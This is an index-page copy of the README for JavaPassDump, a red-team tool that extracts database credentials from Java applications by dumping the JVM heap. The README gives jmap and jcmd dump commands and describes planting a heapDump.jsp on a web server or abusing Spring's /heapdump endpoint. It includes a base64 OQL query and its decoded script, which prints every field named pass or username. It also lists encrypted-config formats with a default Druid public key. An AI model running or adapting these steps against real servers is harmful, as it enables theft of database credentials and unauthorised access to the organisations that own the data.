Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/corener/JavaPassDump
JavaPassDump
https://github.com/corener/JavaPassDump
Last synced: 3 months ago
JSON representation
JavaPassDump
- Host: GitHub
- URL: https://github.com/corener/JavaPassDump
- Owner: corener
- Created: 2022-01-07T07:56:12.000Z (almost 3 years ago)
- Default Branch: master
- Last Pushed: 2022-01-07T11:25:57.000Z (almost 3 years ago)
- Last Synced: 2024-05-13T19:32:18.587Z (6 months ago)
- Language: Java
- Size: 1 MB
- Stars: 209
- Watchers: 6
- Forks: 14
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- awesome-hacking-lists - corener/JavaPassDump - JavaPassDump (Java)
README
## JavaPassDump
##### 背景:
红队实战中,有遇到数据库的配置信息加密的情况,有些甚至在Native层处理加解密,为简化红队流程,产生一个通用的数据库信息提取工具:JavaPassDump。
##### 思路:
所有在Java层的数据库连接,最终都会维持一个DB Driver Object,其中会保留数据库的连接配置。思路一:基于经验的,匹配所有DB Driver,从内存中找到Driver Object,获取username/password字段 ;思路二:绝大部分的配置信息,在内存中,都是String类型的field字段,直接从内存中提取password字段的field值。两种思路的前提都是能够分析内存,尝试直接分析运行时内存,从中提取配置信息,无奈坑点太多,遂转入dump JVMHeap,直接通过OQL语言进行分析。
##### 实践:
实战中,DumpJVNHeap大小从几M~几G左右不等,拉到本地分析不太现实,直接在线上分析拿到分析结果就行。这样,在流量层面,效率方面,更优化。为了更简单通用,采用思路二,直接提取password字段的值。
### 数据库常见加密案例
- jasypt加密
```
web.xml中配置 jasypt.encryptor.password:abc
或 java -jar -Djasypt.encryptor.password=abc xxx.jar
spring.datasource.username: ENC(ik9FE3GiYLiHwchiyHg9QQ==)
```
- druid非对称加密```
application.properties中配置 connectionProperties属性 config.decrypt.key=${first.spring.datasource.publicKey}
或者自定义在jar包中
first.spring.datasource.username = root
first.spring.datasource.password = QMmZSCar/ZDXDc0PeewOjCAy5fnBh4CTG1bNN2/JpUMiP/Q9x4rkuTLrIUef04UzV/ix63mmN5yJOpuYG7yooA==
#默认Spring publicKey
first.spring.datasource.publicKey = MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJR+7qC9yg4OD6obbSeTasFDnOLTdUvuyRcyfBaBNPLlDl5IfAAvf3HwpM9j0F0sHh0M3kIzo301Evd2P/fc57ECAwEAAQ==
```
- Spring 自定义加密```
继承PropertyPlaceholderConfigurer类,自定义属性加密方法,加密jdbc.properties中的属性值
https://blog.csdn.net/tanggao1314/article/details/83302593
继承spring后置处理器BeanPostProcessor类,自定义属性加解密方法
https://segmentfault.com/a/1190000040298137
```
- 自定义配置加密```
#摘自某运维应用系统
public static void initDBConfig() {
InputStream in = DBConnPool.class.getClassLoader().getResourceAsStream("dbconfig.properties");
Properties prop = new Properties();
prop.load(in);
account_enc = Boolean.parseBoolean(prop.getProperty("account_enc"));
enc_key = prop.getProperty("enc_key");String driverName = prop.getProperty(String.valueOf(sourceName) + ".driver");
String dbURL = prop.getProperty(String.valueOf(sourceName) + ".db_url");
String user = prop.getProperty(String.valueOf(sourceName) + ".db_user");
String password = prop.getProperty(String.valueOf(sourceName) + ".db_password");if (account_enc && enc_key != null && enc_key.length() == 8) {
StringBuffer stringBuffer = new StringBuffer(enc_key);
String key1 = stringBuffer.reverse().toString();
user = new String(AES.Decrypt(AES.hex2byte(user), String.valueOf(key1) + enc_key));
password = new String(AES.Decrypt(AES.hex2byte(password), String.valueOf(key1) + enc_key));
}
}
```## Usage command
##### 注意
```
根据线上JDK环境,适配对应的jar,
OQLQuery7-.jar 适配JDK<=7
OQLQuery8+.jar 适配JDK>=8除了线上环境,OQLQuery.jar也可以用在本地分析JvmHeapDump.hprof文件,例如:Spring的/heapdump接口,产生的dump文件,利用对应的OQL语句,也可以提取出密码参数
若WebServer是以JDK6启动的,生成的JVM 内存镜像, 所有String类型的变量值,都存储在字符串常量池中,无法直接通过field的值读取
Tips: 常量池,可分为运行时常量池、类常量池、字符串常量池,在JDK6时,字符串常量池位于方法区中,在JDK7时,把字符串常量池移到了堆中;在JDK8时,把方法区干掉,换成了堆外内存的元数据空间,同时运行时常量池和类常量池跟着在元数据空间中,但字符串常量池仍在堆中;
```
![jdk6](./img/jdk6.png)
![jdk7](./img/jdk7.png)##### 获取JVMHeapDump
```
#jmap,jcmd 都是JDK自带工具,指定JVM pid 直接dump
>jmap -dump:live,format=b,file=/tmp/dumpHeap.hprof 5760 #live Object
>jmap -dump:format=b,file=/tmp/dumpHeap.hprof 19770 # all Object 不建议>jcmd 5760 GC.heap_dump /tmp/dumpHeap.hprof
# 放置于webServer,访问时,dump当前JVM的heap到/tmp目录,windows系统,需要修改路径
>heapDump.jsp
```
##### 分析JVMHeap文件```
java -jar ./OQLQuery.jar /tmp/dumpHeap.hprof dmFyIGZpbHRlciA9IHt9OwptYXAoaGVhcC5jbGFzc2VzKCksIGZ1bmN0aW9uIChjbHMpIHsKICAgcmV0dXJuIG1hcChjbHMuZmllbGRzLCBmdW5jdGlvbiAoZmllbGQpIHsgCiAgICAgIGlmKCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInBhc3MiKSB8fCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInVzZXJuYW1lIikgfHxmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoIlBBU1MiKSl7CiAgICAgICAgcmV0dXJuIG1hcChoZWFwLm9iamVjdHMoY2xzKSwgZnVuY3Rpb24gKG9icykgewogICAgICAgICAgdmFyIHRhZyA9IGNscy5uYW1lKyJ8IitmaWVsZC5uYW1lIDsKICAgICAgICAgIHZhciByZXMgPSAgImNsYXNzIDogIitjbHMubmFtZSsiXG4gRmllbGQgWyAiK2ZpZWxkLm5hbWUudG9TdHJpbmcoKSsiIDogIjsKICAgICAgICAgIGlmKCBvYnNbZmllbGQubmFtZS50b1N0cmluZygpXSAhPSBudWxsICl7CiAgICAgICAgICAgIHJlcyA9IHJlcyArIG9ic1tmaWVsZC5uYW1lLnRvU3RyaW5nKCldLnRvU3RyaW5nKCkrIiBdXG4iOwogICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgIHJlcyA9IHJlcyArICJudWxsIF1cbiI7CiAgICAgICAgICB9CiAgICAgICAgICBpZiAoZmlsdGVyW3RhZ10gPT0gbnVsbCkgewogICAgICAgICAgICBmaWx0ZXJbdGFnXSA9IHJlczsKICAgICAgICAgICAgcHJpbnQocmVzKTsKICAgICAgICAgIH0KICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgIH0pOwogICAgICB9CiAgICAgIHJldHVybiBudWxsOwogIH0pOwp9KTs=
```
##### oql语句```
var filter = {};
map(heap.classes(), function (cls) {
return map(cls.fields, function (field) {
if( field.name.toString().contains("pass") || field.name.toString().contains("username") ||field.name.toString().contains("PASS")){
return map(heap.objects(cls), function (obs) {
var tag = cls.name+"|"+field.name ;
var res = "class : "+cls.name+"\n Field [ "+field.name.toString()+" : ";
if( obs[field.name.toString()] != null ){
res = res + obs[field.name.toString()].toString()+" ]\n";
}else{
res = res + "null ]\n";
}
if (filter[tag] == null) {
filter[tag] = res;
print(res);
}
return null;
});
}
return null;
});
});```
##### 运行效果![result](./img/result.png)